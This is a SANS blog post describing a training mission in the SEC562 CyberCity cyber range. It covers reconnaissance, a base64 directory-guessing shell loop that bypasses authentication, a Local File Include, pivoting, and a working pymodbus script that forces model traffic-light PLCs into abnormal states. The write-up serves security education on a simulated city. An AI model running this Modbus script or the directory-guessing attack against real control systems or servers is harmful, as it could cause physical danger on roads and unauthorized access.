SANS Penetration Testing | Traffic Lights and Modbus/TCP - A SEC562 CyberCity Hacking Adventure

When the Counter Hack team started building the SEC562: CyberCity Hands-on Kinetic Cyber Range class, I knew I wanted to develop a mission that involved the Industrial Control protocol Modbus/TCP and traffic lights. Because CyberCity is 1:87 scale, I needed to build my own traffic light controller using Modbus/TCP with model-sized traffic lights, and connect them to a Modbus/TCP powered controller.

Part of our goals in writing the SEC562 course is to provide hands-on experience understanding the security of ICS protocols such as Modbus/TCP, CIP, PROFINET, DNP3 and others. This is done through the completion of several missions, where the team of analysts has a defined goal, and has to use offensive or defensive skills to achieve the stated goal. In the case of the traffic light mission, the team has to hack their way into the CyberCity Department of Transportation (DoT) network, pivot from publicly accessible systems to restricted access systems, and use the compromised host to deliver custom a Modbus/TCP exploit that manipulates the traffic light patterns.

I'm biased, but I think these missions are SUPER FUN. Challenging, for sure, but a great opportunity to learn about a whole new realm of interesting protocols (ICS and related technology) that allow you to use hacking to interact with the kinetic world, manipulating systems that move or control things that move (like... traffic lights!). The class itself is 80% hands-on, 20% lecture, so you spend much more time DOING than listening... and falling asleep after eating too much lunch (been there).

In this article, we'll take a peek at the Traffic Control CyberCity mission. I'm not going to give away everything, but we'll take a look at how we can combine useful reconnaissance and information gathering, web attacks, privilege escalation, pivoting, and Modbus/TCP exploits effectively.

CyberCity Scoring Server

In the SEC562 class, we don't just give you a target, shrug, and say "figure it out". It's not a good use of your time. Instead, we provide a well-tested environment using the NetWars Scoring Server, that identifies the mission and asks questions in a sequential order that guide you through the mission steps. If you get stuck on a question the automated hint system brings you a little bit closer to the answer with each hint. This way, you can work at your own pace: figure out small portions of the mission on your own, or use hints to get extra assistance where desired. When you answer a question correctly, you get all the hints automatically, just to validate your technique with what we planned for the mission.

Let's jump in and start answering some questions.

Reconnaissance

Like any penetration test, you'll conduct reconnaissance analysis and information gathering before evaluating the target systems for vulnerabilities. For example:

"Leverage the FaceSpace site (facespace.co.nw) to identify three employees working for the CyberCity Department of Transportation. Enter the last name of the DoT employee whose name ends in "be"."

FaceSpace is our social networking site within CyberCity, complete with thousands of accounts and posts from various CyberCity citizens. FaceSpace is built on the Elgg open-source social networking software, acting both like Twitter and Facebook. Like other social networking sites, FaceSpace is a wealth of sensitive data that is useful for reconnaissance analysis including the disclosure of username information, "friend" associations to identify co-workers, and other sensitive data. Searching for various on "department of transportation" and "DoT" turns up some interesting results.

Looks like Jermaine Strobbe is a new hire for the DoT, and the answer for our question. Let's move on to some scanning and information gathering.

Scanning

Later in the mission, we start getting questions like this one:

"Additional informational resources about the structure of systems and traffic light control protocols are stored in non-guest accounts on the filebox.dot.city.nw site. Access these protected resources and identify the model number for the traffic light controller used by the Cyber City DoT. Enter the numeric portion of the traffic light controller model number."

The filebox.dot.city.nw site is used for sharing public resources - it's the CyberCity version of ownCloud or other cloud storage providers and based on a private cloud system that I got to evaluate for a customer penetration test not long ago. When you visit the site, several files are accessible to guest users as shown here.

When I mouse-over the link for any of the files, I see URLs that look like this:

http://filebox.dot.city.nw/Z3V... looks like a classically bad URL scheme, where the files are in a random-looking directory. Browsing to the directory itself, we get the following:

So, we know we have a directory browsing issue, but we want to get access to other user's files on this same system. We could mount a password guessing attack against the login screen, but that could take ages and might lock-out user accounts. If we focus on the unpredictable directory portion of the URL, we see the string Z3Vlc3QK. Browsing to small variations on this string only returns 404 errors from the server.

Pasting the value into Burp Suite, we can use the Decoder tool to evaluate how the string decodes in several ways. Most of the options don't apply (e.g. "Z3Vlc3QK" is not URL, HTML, ASCII hex, Hex, Octal, Binary, or Gzip encoded), but the Base64 option looks interesting. Using Base64 as a decode option, and we see the encoded value returns the string "guest".

However, we can try different decoding methods to further analyze this content. While the string could just be random lower/upper alphanumeric values, let's try different decoding options.

Seeing this, we can use our earlier reconnaissance data of username information for directory path guessing attacks to bypass authentication to access other user cloud files. You can do this manually, or a little shell script can speed things up:

jwright@ccgateway2 ~ $ for username in jstobbe bstobbe jdesoto bdforge rgray ; do
> enc=`echo -n $username | openssl enc -base64` # -n very important here!
> curl -sL -w "%{http_code} %{url_effective}\n" http://filebox.dot.city.nw/$enc -o /dev/null
> done
404 http://filebox.dot.city.nw/anN0b2JiZQ==
404 http://filebox.dot.city.nw/YnN0b2JiZQ==
200 http://filebox.dot.city.nw/amRlc290bw==/
404 http://filebox.dot.city.nw/YmRmb3JnZQ==
404 http://filebox.dot.city.nw/cmdyYXk=

Here, we see mostly 404's, but one wonderful 200 indicates that we found another encoded directory that was previously hidden from us. Skipping to the pillaging phase, we retrieve all the files in the directory and evaluate them to learn more about the target system. Among other things, we learn that the traffic light system used by the CyberCity DoT is a product from Traffic Control Systems (TCS) that includes an extended Human-Machine Interface (HMI) that allows for online reporting of traffic data. We can further validate that by browsing to the www.dot.city.nw website, shown here.

Looking at the page source, we find another interesting target to explore:

Exploitation

Jumping ahead a little bit, we can explore the hmi.dot.city.nw target. What we find is a straightforward login page, asking the user to enter credentials for the product management console. If we try to authenticate with a guessed password for a DoT employee, we get an error from the server.

When we fail authentication, we get a <div> on the page letting us know. However, the URL now has a new parameter: msg=loginfail.html.

NOTE: Anytime you see anything that looks like a filename in the URL, try to use the parameter to access other files on the system! Even though it's 2015, it still happens all the time. Here too, we have a straightforward Local File Include (LFI) issue that allows us to read files outside of the web root:

However, the web user is limited to read files owned by www-data, or with "world" read permission. This limits our ability to get additional access on the target system (e.g. we can't read the /etc/shadow file, and start password cracking). SEC562 participants have to leverage a second vulnerability to get files uploaded to the target system and then include those scripts in the LFI to gain a shell on the target.

Pivoting

Once we get basic shell access to the hmi.dot.city.nw box, we can start to pillage the host for information, and use it as a pivot point to attack downstream systems including the individual Modbus/TCP traffic light controllers. Here's what we find out through pillaging the host:

Target OS is Ubuntu 12.04.4 LTS
- Host has a public interface on the 10.21.12.0/24 network at 10.21.12.11.
- Host has a second private interface on the 10.21.22.0/24 network at 10.21.22.11.
PLCs for traffic light controllers exist at 10.21.22.21, 10.21.22.22, 10.21.22.23, and 10.21.22.24
- All PLCs are listening on TCP/502 for Modbus/TCP connections
TCS traffic reporting software runs from /opt/b2b/lightstatus

Using the cameras that monitor CyberCity in real time, and packet capture data from the traffic light controller PLCs, we can gain some insight into how the Modbus protocol is configured to control the traffic light patterns.

Here, the master device (the Ubuntu box at 10.12.22.10) is transmitting a "Write Multiple Coils" message to the target device at 10.21.22.23. In Modbus, a coil is a binary value (on or off), while a register is an analog reading (from Y to Z). Modbus lacks any kind of authentication, encryption, or integrity protection; clearly, this was a protocol that was not written to be used on the same network as a hostile adversary. (Ed. understatement of the year)

While some Modbus/TCP attack tools exist, I typically find it is easiest to build what I want with a quick Python script instead of adapting a different tool for a specific task. First, we can experiment with setting all the bits to the ON position with:

Joshuas-MacBook-Pro-2:~ jwright$ cat lightmanip.py
#!/usr/bin/python
from pymodbus.client.sync import ModbusTcpClient
from time import sleep
import sys
 
i=0
while(i < 30):
    client = ModbusTcpClient(sys.argv[1])
    client.write_coils(0, [True, True, True]*4) # Ref #, followed by coil settings in list form
    client.close()
    sleep(1)
    i+=1
print "Done"

Here, the list element [True, True, True] represents the Red/Yellow/Green lights, repeated 4 times for the North, South, East, and West directions. When we run the script with the IP address of one of the PLCs, it should change all the traffic lights to the on position.

python lightmanip.py 10.21.22.21 
Done

Viewed through the traffic light reporting page, we see something like this:

This view only shows a single light on for the Quadrant 1 traffic lights (all red). This could be because the monitoring software doesn't have the logic to keep testing for other lights to be set (since that shouldn't happen in practice). Viewed through the CyberCity camera, we see a different picture:

It's a little hard to tell because the LEDs are so bright, but all 12 LEDs are shining strong because of our tool. Now, it's a simple matter of correlating the traffic lights to the individual IP addresses, and updating the script to manipulate each traffic light per the mission directive.

Conclusion

In this article we looked at some of the techniques used in the SEC562: CyberCity Hands-on Kinetic Cyber Range Exercise. For an attacker, the world of Industrial Control Systems opens up a lot of attack opportunity, both from the ease with which these protocols can be exploited, and the kinetic impact an attacker can produce. Learning about these attacks expands your skillset both as an attacker and as a defender (and, we get to have a lot of fun in the process).

-Joshua Wright
Follow @joswr1ght

The work "Main St Lights" is a derivative of "US Route 6 (2)" by Nicholas A. Tonelli, used under CC BY. "Main St Lights" is licensed under CC BY by Joshua Wright. All other images copyright Counter Hack, Inc., All Right Reserved.

Traffic Lights and Modbus/TCP - A SEC562 CyberCity Hacking Adventure